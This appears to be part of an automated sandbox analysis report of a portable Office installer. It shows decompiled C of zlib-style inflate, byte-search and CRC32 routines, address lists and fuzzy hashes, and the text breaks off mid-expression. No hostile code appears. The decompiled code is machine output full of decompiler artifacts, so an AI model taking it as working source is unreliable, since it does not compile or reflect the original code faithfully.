					goto L5;
				}
				_t228 = (0 | _t317 > 0x00000000) * 2 - 1;
				if(_t228 != 0) {
					goto L78;
				}
				goto L3;
			}

0x000d1afc
0x000d1afc
0x000d1afc
0x000d1b02
0x000d1b89
0x000d1b8b
0x000d1b8d
0x000d1f0c
0x000d1f0c
0x000d2cfc
0x000d2cfc
0x000d1b93
0x000d1b99
0x000d1c20
0x000d1c22
0x000d1c24
0x00000000
0x00000000
0x000d1c2a
0x000d1c30
0x000d1cb7
0x000d1cb9
0x000d1cbb
0x00000000
0x00000000
0x000d1cc1
0x000d1cc7
0x000d1d4e
0x000d1d50
0x000d1d52
0x00000000
0x00000000
0x000d1d5e
0x000d1de6
0x000d1de8
0x000d1dea
0x00000000
0x00000000
0x000d1df0
0x000d1df6
0x000d1e7d
0x000d1e7f
0x000d1e81
0x00000000
0x00000000
0x000d1e87
0x000d1e8d
0x000d1f04
0x000d1f06
0x000d1f08
0x000d1f0a
0x000d1f0a
0x00000000
0x000d1f08
0x000d1e96
0x000d1e98
0x000d1eac
0x000d1eb4
0x000d1eb6
0x000d1eca
0x000d1ed2
0x000d1ed4
0x000d1ee8
0x000d1ef0
0x000d1ef2
0x000d1efb
0x000d1efb
0x00000000
0x000d1ef2
0x000d1edd
0x000d1ee6
0x00000000
0x00000000
0x00000000
0x000d1ee6
0x000d1ebf
0x000d1ec8
0x00000000
0x00000000
0x00000000
0x000d1ec8
0x000d1ea1
0x000d1eaa
0x00000000
0x00000000
0x00000000
0x000d1eaa
0x000d1e03
0x000d1e05
0x000d1e1d
0x000d1e25
0x000d1e27
0x000d1e3f
0x000d1e47
0x000d1e49
0x000d1e61
0x000d1e69
0x000d1e6b
0x000d1e74
0x000d1e74
0x00000000
0x000d1e6b
0x000d1e52
0x000d1e5b
0x00000000
0x00000000
0x00000000
0x000d1e5b
0x000d1e30
0x000d1e39
0x00000000
0x00000000
0x00000000
0x000d1e39
0x000d1e0e
0x000d1e17
0x00000000
0x00000000
0x00000000
0x000d1e17
0x000d1d6c
0x000d1d6e
0x000d1d86
0x000d1d8e
0x000d1d90
0x000d1da8
0x000d1db0
0x000d1db2
0x000d1dca
0x000d1dd2
0x000d1dd4
0x000d1ddd
0x000d1ddd
0x00000000
0x000d1dd4
0x000d1dbb
0x000d1dc4
0x00000000
0x00000000
0x00000000
0x000d1dc4
0x000d1d99
0x000d1da2
0x00000000
0x00000000
0x00000000
0x000d1da2
0x000d1d77
0x000d1d80
0x00000000
0x00000000
0x00000000
0x000d1d80
0x000d1cd4
0x000d1cd6
0x000d1cee
0x000d1cf6
0x000d1cf8
0x000d1d10
0x000d1d18
0x000d1d1a
0x000d1d32
0x000d1d3a
0x000d1d3c
0x000d1d45
0x000d1d45
0x00000000
0x000d1d3c
0x000d1d23
0x000d1d2c
0x00000000
0x00000000
0x00000000
0x000d1d2c
0x000d1d01
0x000d1d0a
0x00000000
0x00000000
0x00000000
0x000d1d0a
0x000d1cdf
0x000d1ce8
0x00000000
0x00000000
0x00000000
0x000d1ce8
0x000d1c3d
0x000d1c3f
0x000d1c57
0x000d1c5f
0x000d1c61
0x000d1c79
0x000d1c81
0x000d1c83
0x000d1c9b
0x000d1ca3
0x000d1ca5
0x000d1cae
0x000d1cae
0x00000000
0x000d1ca5
0x000d1c8c
0x000d1c95
0x00000000
0x00000000
0x00000000
0x000d1c95
0x000d1c6a
0x000d1c73
0x00000000
0x00000000
0x00000000
0x000d1c73
0x000d1c48
0x000d1c51
0x00000000
0x00000000
0x00000000
0x000d1c51
0x000d1ba6
0x000d1ba8
0x000d1bc0
0x000d1bc8
0x000d1bca
0x000d1be2
0x000d1bea
0x000d1bec
0x000d1c04
0x000d1c0c
0x000d1c0e
0x000d1c17
0x000d1c17
0x00000000
0x000d1c0e
0x000d1bf5
0x000d1bfe
0x00000000
0x00000000
0x00000000
0x000d1bfe
0x000d1bd3
0x000d1bdc
0x00000000
0x00000000
0x00000000
0x000d1bdc
0x000d1bb1
0x000d1bba
0x00000000
0x00000000
0x00000000
0x000d1bba
0x000d1b0f
0x000d1b11
0x000d1b29
0x000d1b31
0x000d1b33
0x000d1b4b
0x000d1b53
0x000d1b55
0x000d1b6d
0x000d1b75
0x000d1b77
0x000d1b80
0x000d1b80
0x00000000
0x000d1b77
0x000d1b5e
0x000d1b67
0x00000000
0x00000000
0x00000000
0x000d1b67
0x000d1b3c
0x000d1b45
0x00000000
0x00000000
0x00000000
0x000d1b45
0x000d1b1a
0x000d1b23
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 0b171d42e3132b30418bb06c16fdf6a9263fb7d66e71ad747fc45a10c7433d9d
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: CCC1843620525319DFAD473994741BEBBE25BA27B231A17AFE4B2CB2C5EF20C524D530

Uniqueness

Uniqueness Score: -1.00%

Function 000C5C50, Relevance: .3, Instructions: 289
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E000C5C50(signed char** __ecx) {
				signed int _v8;
				signed int* _t120;
				signed int _t121;
				unsigned int _t185;
				signed char** _t189;

				_push(__ecx);
				_t189 = __ecx;
				if(__ecx == 0) {
					L35:
					return 0xfffffffe;
				} else {
					_t120 =  *(__ecx + 0x1c);
					if(_t120 != 0 &&  *((intOrPtr*)(__ecx)) != 0) {
						_t121 =  *_t120;
						_t185 = 0xfffffffb;
						if(_t121 <= 0xd) {
							_v8 = 0x1f;
							do {
								switch( *((intOrPtr*)(_t121 * 4 +  &M000C5FC4))) {
									case 0:
										_t122 = _t189[1];
										if(_t122 == 0) {
											goto L46;
										} else {
											_t189[2] =  &(_t189[2][1]);
											_t189[1] = _t122 - 1;
											_t185 = 0;
											_t171 =  *( *_t189) & 0x000000ff;
											_t189[7][4] = _t171;
											 *_t189 =  &(( *_t189)[1]);
											if((_t171 & 0x0000000f) == 8) {
												_t173 = _t189[7];
												if((_t173[1] >> 4) + 8 <= _t173[4]) {
													 *_t173 = 1;
													goto L12;
												} else {
													 *_t173 = 0xd;
													_t189[6] = "invalid window size";
													goto L33;
												}
											} else {
												 *(_t189[7]) = 0xd;
												_t189[6] = "unknown compression method";
												goto L33;
											}
										}
										goto L51;
									case 1:
										L12:
										_t130 = _t189[1];
										if(_t130 == 0) {
											goto L46;
										} else {
											_t189[2] =  &(_t189[2][1]);
											_t174 = _t189[7];
											_t189[1] = _t130 - 1;
											_t133 =  &(( *_t189)[1]);
											_t168 =  *(_t133 - 1) & 0x000000ff;
											 *_t189 = _t133;
											_t185 = 0;
											if(((_t174[4] << 8) + _t168) % _v8 == 0) {
												if((_t168 & 0x00000020) != 0) {
													 *(_t189[7]) = 2;
													goto L37;
												} else {
													 *_t174 = 7;
													goto L34;
												}
											} else {
												 *_t174 = 0xd;
												_t189[6] = "incorrect header check";
												goto L33;
											}
										}
										goto L51;
									case 2:
										L37:
										_t139 = _t189[1];
										if(_t139 == 0) {
											goto L46;
										} else {
											_t189[2] =  &(_t189[2][1]);
											_t189[1] = _t139 - 1;
											_t185 = 0;
											_t189[7][8] = ( *( *_t189) & 0x000000ff) << 0x18;
											 *_t189 =  &(( *_t189)[1]);
											 *(_t189[7]) = 3;
											goto L39;
										}
										goto L51;
									case 3:
										L39:
										_t144 = _t189[1];
										if(_t144 == 0) {
											goto L46;
										} else {
											_t189[2] =  &(_t189[2][1]);
											_t189[1] = _t144 - 1;
											_t185 = 0;
											_t189[7][8] = _t189[7][8] + (( *( *_t189) & 0x000000ff) << 0x10);
											 *_t189 =  &(( *_t189)[1]);
											 *(_t189[7]) = 4;
											goto L41;
										}
										goto L51;
									case 4:
										L41:
										_t150 = _t189[1];
										if(_t150 == 0) {
											goto L46;
										} else {
											_t189[2] =  &(_t189[2][1]);
											_t189[1] = _t150 - 1;
											_t185 = 0;
											_t189[7][8] = _t189[7][8] + (( *( *_t189) & 0x000000ff) << 8);
											 *_t189 =  &(( *_t189)[1]);
											 *(_t189[7]) = 5;
											goto L43;
										}
										goto L51;
									case 5:
										L43:
										_t156 = _t189[1];
										if(_t156 == 0) {
											goto L46;
										} else {
											_t189[2] =  &(_t189[2][1]);
											_t189[1] = _t156 - 1;
											_t189[7][8] = _t189[7][8] + ( *( *_t189) & 0x000000ff);
											_t180 = _t189[7];
											 *_t189 =  &(( *_t189)[1]);
											_t189[0xc] = _t180[8];
											 *_t180 = 6;
											return 2;
										}
										goto L51;
									case 6:
										__eax = __esi[7];
										 *(__esi[7]) = 0xd;
										__eax = __esi[7];
										__esi[6] = "need dictionary";
										 *((intOrPtr*)(__esi[7] + 4)) = 0;
										__eax = 0xfffffffe;
										_pop(__edi);
										_pop(__esi);
										return 0xfffffffe;
										goto L51;
									case 7:
										__ecx = __esi[7];
										__ecx =  *(__esi[7] + 0x14);
										__edx = __esi;
										__edi = E000C4230( *(__esi[7] + 0x14), __esi, __edi);
										if(__edi != 0xfffffffd) {
											if(__edi == 0) {
												__edi = 0;
												goto L46;
											} else {
												if(__edi != 1) {
													goto L46;
												} else {
													__ecx = __esi[7];
													__edx = __esi;
													__eax = __ecx + 4;
													__ecx =  *(__ecx + 0x14);
													__edi = 0;
													__eax = E000C4100(__ecx, __esi, __eax);
													__eax = __esi[7];
													if( *((intOrPtr*)(__eax + 0xc)) == 0) {
														 *__eax = 8;
														goto L24;
													} else {
														 *__eax = 0xc;
														goto L34;
													}
												}
											}
										} else {
											__ecx = __esi[7];
											 *(__esi[7]) = 0xd;
											__ecx = __esi[7];
											 *((intOrPtr*)(__esi[7] + 4)) = 0;
											goto L34;
										}
										goto L51;
									case 8:
										L24:
										__eax = __esi[1];
										if(__eax == 0) {
											goto L46;
										} else {
											__esi[2] = __esi[2] + 1;
											__esi[1] = __eax;
											__eax =  *__esi;
											__edi = 0;
											__ecx =  *( *__esi) & 0x000000ff;
											__eax = __esi[7];
											__ecx = ( *( *__esi) & 0x000000ff) << 0x18;
											 *(__esi[7] + 8) = ( *( *__esi) & 0x000000ff) << 0x18;
											__eax = __esi[7];
											 *__esi =  *__esi + 1;
											 *(__esi[7]) = 9;
											goto L26;
										}
										goto L51;
									case 9:
										L26:
										__eax = __esi[1];
										if(__eax == 0) {
											goto L46;
										} else {
											__esi[2] = __esi[2] + 1;
											__ecx = __esi[7];
											__esi[1] = __eax;
											__eax =  *__esi;
											__edi = 0;
											 *( *__esi) & 0x000000ff = ( *( *__esi) & 0x000000ff) << 0x10;
											 *(__esi[7] + 8) =  *(__esi[7] + 8) + (( *( *__esi) & 0x000000ff) << 0x10);
											__eax = __esi[7];
											 *__esi =  *__esi + 1;
											 *(__esi[7]) = 0xa;
											goto L28;
										}
										goto L51;
									case 0xa:
										L28:
										__eax = __esi[1];
										if(__eax == 0) {
											goto L46;
										} else {
											__esi[2] = __esi[2] + 1;
											__ecx = __esi[7];
											__esi[1] = __eax;
											__eax =  *__esi;
											__edi = 0;
											 *( *__esi) & 0x000000ff = ( *( *__esi) & 0x000000ff) << 8;
											 *(__esi[7] + 8) =  *(__esi[7] + 8) + (( *( *__esi) & 0x000000ff) << 8);
											__eax = __esi[7];
											 *__esi =  *__esi + 1;
											 *(__esi[7]) = 0xb;
											goto L30;
										}
										goto L51;
									case 0xb:
										L30:
										__eax = __esi[1];
										if(__eax == 0) {
											L46:
											return _t185;
										} else {
											__esi[2] = __esi[2] + 1;
											__ecx = __esi[7];
											__esi[1] = __eax;
											__eax =  *__esi;
											__edi = 0;
											__eax =  *( *__esi) & 0x000000ff;
											 *(__esi[7] + 8) =  *(__esi[7] + 8) + ( *( *__esi) & 0x000000ff);
											__ecx = __esi[7];
											 *__esi =  *__esi + 1;
											__eax =  *(__ecx + 4);
											if( *(__ecx + 4) ==  *((intOrPtr*)(__ecx + 8))) {
												__eax = __esi[7];
												 *(__esi[7]) = 0xc;
												goto L48;
											} else {
												 *__ecx = 0xd;
												__esi[6] = "incorrect data check";
												L33:
												_t189[7][1] = 5;
												goto L34;
											}
										}
										goto L51;
									case 0xc:
										L48:
										__eax = 1;
										_pop(__edi);
										_pop(__esi);
										return 1;
										goto L51;
									case 0xd:
										_pop(__edi);
										_pop(__esi);
										__eax = 0xfffffffd;
										return 0xfffffffd;
										goto L51;
								}
								L34:
								_t121 =  *(_t189[7]);
							} while (_t121 <= 0xd);
						}
					}
					goto L35;
				}
				L51:
			}

0x000c5c53
0x000c5c56
0x000c5c5b
0x000c5ea1
0x000c5eac
0x000c5c61
0x000c5c61
0x000c5c66
0x000c5c75
0x000c5c77
0x000c5c7f
0x000c5c85
0x000c5c90
0x000c5c90
0x00000000
0x000c5c97
0x000c5c9c
0x00000000
0x000c5ca2
0x000c5ca2
0x000c5ca6
0x000c5cab
0x000c5cad
0x000c5cb3
0x000c5cb6
0x000c5cbe
0x000c5cd5
0x000c5ce4
0x000c5cf8
0x00000000
0x000c5ce6
0x000c5ce6
0x000c5cec
0x00000000
0x000c5cec
0x000c5cc0
0x000c5cc3
0x000c5cc9
0x00000000
0x000c5cc9
0x000c5cbe
0x00000000
0x00000000
0x000c5cfe
0x000c5cfe
0x000c5d03
0x00000000
0x000c5d09
0x000c5d09
0x000c5d0c
0x000c5d10
0x000c5d15
0x000c5d16
0x000c5d1a
0x000c5d29
0x000c5d2d
0x000c5d44
0x000c5eb0
0x00000000
0x000c5d4a
0x000c5d4a
0x00000000
0x000c5d4a
0x000c5d2f
0x000c5d2f
0x000c5d35
0x00000000
0x000c5d35
0x000c5d2d
0x00000000
0x00000000
0x000c5eb6
0x000c5eb6
0x000c5ebb
0x00000000
0x000c5ec1
0x000c5ec1
0x000c5ec5
0x000c5eca
0x000c5ed5
0x000c5edb
0x000c5edd
0x00000000
0x000c5edd
0x00000000
0x00000000
0x000c5ee3
0x000c5ee3
0x000c5ee8
0x00000000
0x000c5eee
0x000c5eee
0x000c5ef5
0x000c5efa
0x000c5f02
0x000c5f08
0x000c5f0a
0x00000000
0x000c5f0a
0x00000000
0x00000000
0x000c5f10
0x000c5f10
0x000c5f15
0x00000000
0x000c5f17
0x000c5f17
0x000c5f1e
0x000c5f23
0x000c5f2b
0x000c5f31
0x000c5f33
0x00000000
0x000c5f33
0x00000000
0x00000000
0x000c5f39
0x000c5f39
0x000c5f3e
0x00000000
0x000c5f40
0x000c5f40
0x000c5f47
0x000c5f4f
0x000c5f52
0x000c5f55
0x000c5f5a
0x000c5f5d
0x000c5f6e
0x000c5f6e
0x00000000
0x00000000
0x000c5f8f
0x000c5f92
0x000c5f98
0x000c5f9b
0x000c5fa2
0x000c5fa9
0x000c5fae
0x000c5faf
0x000c5fb4
0x00000000
0x00000000
0x000c5d55
0x000c5d59
0x000c5d5c
0x000c5d63
0x000c5d6b
0x000c5d87
0x000c5f6f
0x00000000
0x000c5d8d
0x000c5d90
0x00000000
0x000c5d96
0x000c5d96
0x000c5d99
0x000c5d9b
0x000c5d9e
0x000c5da2
0x000c5da4
0x000c5da9
0x000c5db2
0x000c5dbf
0x00000000
0x000c5db4
0x000c5db4
0x00000000
0x000c5db4
0x000c5db2
0x000c5d90
0x000c5d6d
0x000c5d6d
0x000c5d70
0x000c5d76
0x000c5d79
0x00000000
0x000c5d79
0x00000000
0x00000000
0x000c5dc5
0x000c5dc5
0x000c5dca
0x00000000
0x000c5dd0
0x000c5dd0
0x000c5dd4
0x000c5dd7
0x000c5dd9
0x000c5ddb
0x000c5dde
0x000c5de1
0x000c5de4
0x000c5de7
0x000c5dea
0x000c5dec
0x00000000
0x000c5dec
0x00000000
0x00000000
0x000c5df2
0x000c5df2
0x000c5df7
0x00000000
0x000c5dfd
0x000c5dfd
0x000c5e00
0x000c5e04
0x000c5e07
0x000c5e09
0x000c5e0e
0x000c5e11
0x000c5e14
0x000c5e17
0x000c5e19
0x00000000
0x000c5e19
0x00000000
0x00000000
0x000c5e1f
0x000c5e1f
0x000c5e24
0x00000000
0x000c5e2a
0x000c5e2a
0x000c5e2d
0x000c5e31
0x000c5e34
0x000c5e36
0x000c5e3b
0x000c5e3e
0x000c5e41
0x000c5e44
0x000c5e46
0x00000000
0x000c5e46
0x00000000
0x00000000
0x000c5e4c
0x000c5e4c
0x000c5e51
0x000c5f71
0x000c5f79
0x000c5e57
0x000c5e57
0x000c5e5a
0x000c5e5e
0x000c5e61
0x000c5e63
0x000c5e65
0x000c5e68
0x000c5e6b
0x000c5e6e
0x000c5e70
0x000c5e76
0x000c5f7a
0x000c5f7d
0x00000000
0x000c5e7c
0x000c5e7c
0x000c5e82
0x000c5e89
0x000c5e8c
0x00000000
0x000c5e8c
0x000c5e76
0x00000000
0x00000000
0x000c5f83
0x000c5f83
0x000c5f88
0x000c5f89
0x000c5f8e
0x00000000
0x00000000
0x000c5fb5
0x000c5fb6
0x000c5fb7
0x000c5fc0
0x00000000
0x00000000
0x000c5e93
0x000c5e96
0x000c5e98
0x000c5c90
0x000c5c7f
0x00000000
0x000c5c66
0x00000000

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc36644e8db2d4a4fca418afc7f62b539d815056751d1651988bd7941120e51e
Instruction ID: caac8804b0d9ddb345b2cc9df788da6918a7a39d1064f838b0b3a2fc8f34f30a
Opcode Fuzzy Hash: bc36644e8db2d4a4fca418afc7f62b539d815056751d1651988bd7941120e51e
Instruction Fuzzy Hash: 25B10475600A008FD774CF19C880B26B7F5EF59312B258A9ED89ACB791D736F846CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000D14B0, Relevance: .1, Instructions: 76
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E000D14B0(signed int _a4, signed char _a8, intOrPtr _a12) {
				intOrPtr _t13;
				void* _t14;
				signed char _t20;
				signed char _t24;
				signed int _t27;
				signed char _t32;
				unsigned int _t33;
				signed char _t35;
				signed char _t37;
				signed int _t39;

				_t13 = _a12;
				if(_t13 == 0) {
					L11:
					return _t13;
				} else {
					_t39 = _a4;
					_t20 = _a8;
					if((_t39 & 0x00000003) == 0) {
						L5:
						_t14 = _t13 - 4;
						if(_t14 < 0) {
							L8:
							_t13 = _t14 + 4;
							if(_t13 == 0) {
								goto L11;
							} else {
								while(1) {
									_t24 =  *_t39;
									_t39 = _t39 + 1;
									if((_t24 ^ _t20) == 0) {
										goto L20;
									}
									_t13 = _t13 - 1;
									if(_t13 != 0) {
										continue;
									} else {
										goto L11;
									}
									goto L24;
								}
								goto L20;
							}
						} else {
							_t20 = ((_t20 << 8) + _t20 << 0x10) + (_t20 << 8) + _t20;
							do {
								_t27 =  *_t39 ^ _t20;
								_t39 = _t39 + 4;
								if(((_t27 ^ 0xffffffff ^ 0x7efefeff + _t27) & 0x81010100) == 0) {
									goto L12;
								} else {
									_t32 =  *(_t39 - 4) ^ _t20;
									if(_t32 == 0) {
										return _t39 - 4;
									} else {
										_t33 = _t32 ^ _t20;
										if(_t33 == 0) {
											return _t39 - 3;
										} else {
											_t35 = _t33 >> 0x00000010 ^ _t20;
											if(_t35 == 0) {
												return _t39 - 2;
											} else {
												if((_t35 ^ _t20) == 0) {
													goto L20;
												} else {
													goto L12;
												}
											}
										}
									}
								}
								goto L24;
								L12:
								_t14 = _t14 - 4;
							} while (_t14 >= 0);
							goto L8;
						}
					} else {
						while(1) {
							_t37 =  *_t39;
							_t39 = _t39 + 1;
							if((_t37 ^ _t20) == 0) {
								break;
							}
							_t13 = _t13 - 1;
							if(_t13 == 0) {
								goto L11;
							} else {
								if((_t39 & 0x00000003) != 0) {
									continue;
								} else {
									goto L5;
								}
							}
							goto L24;
						}
						L20:
						return _t39 - 1;
					}
				}
				L24:
			}

0x000d14b0
0x000d14b7
0x000d150c
0x000d150c
0x000d14b9
0x000d14b9
0x000d14bf
0x000d14c9
0x000d14e1
0x000d14e1
0x000d14e4
0x000d14f8
0x000d14f8
0x000d14fb
0x00000000
0x000d14fd
0x000d14fd
0x000d14fd
0x000d14ff
0x000d1504
0x00000000
0x00000000
0x000d1506
0x000d1509
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000d1509
0x00000000
0x000d14fd
0x000d14e6
0x000d14f3
0x000d1512
0x000d1514
0x000d1522
0x000d152b
0x00000000
0x000d152d
0x000d1530
0x000d1532
0x000d155c
0x000d1534
0x000d1534
0x000d1536
0x000d1556
0x000d1538
0x000d153b
0x000d153d
0x000d1550
0x000d153f
0x000d1541
0x00000000
0x000d1543
0x00000000
0x000d1543
0x000d1541
0x000d153d
0x000d1536
0x000d1532
0x00000000
0x000d150d
0x000d150d
0x000d150d
0x00000000
0x000d14f7
0x000d14cb
0x000d14cb
0x000d14cb
0x000d14cd
0x000d14d2
0x00000000
0x00000000
0x000d14d4
0x000d14d7
0x00000000
0x000d14d9
0x000d14df
0x00000000
0x00000000
0x00000000
0x00000000
0x000d14df
0x00000000
0x000d14d7
0x000d1546
0x000d154a
0x000d154a
0x000d14c9
0x00000000

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: c5f57840aff8fabee834cff6c3802194dbfba7b2930923fd3faa01a603fd111b
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: AA113B77204742E3D6948A6DE4F46F6A3D6EBC932172C426BD0434B74CCD26D5419620

Uniqueness

Uniqueness Score: -1.00%

Function 000C5770, Relevance: .1, Instructions: 76
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E000C5770(signed int __ecx, signed char* __edx, unsigned int _a4) {
				signed int _t58;
				signed char* _t76;
				unsigned int _t79;
				unsigned int _t82;

				_t76 = __edx;
				if(__edx != 0) {
					_t82 = _a4;
					_t58 =  !__ecx;
					if(_t82 >= 8) {
						_t79 = _t82 >> 3;
						do {
							_t58 = (((((((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[4] & 0x000000ff ^ (((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[5] & 0x000000ff ^ ((((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[4] & 0x000000ff ^ (((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 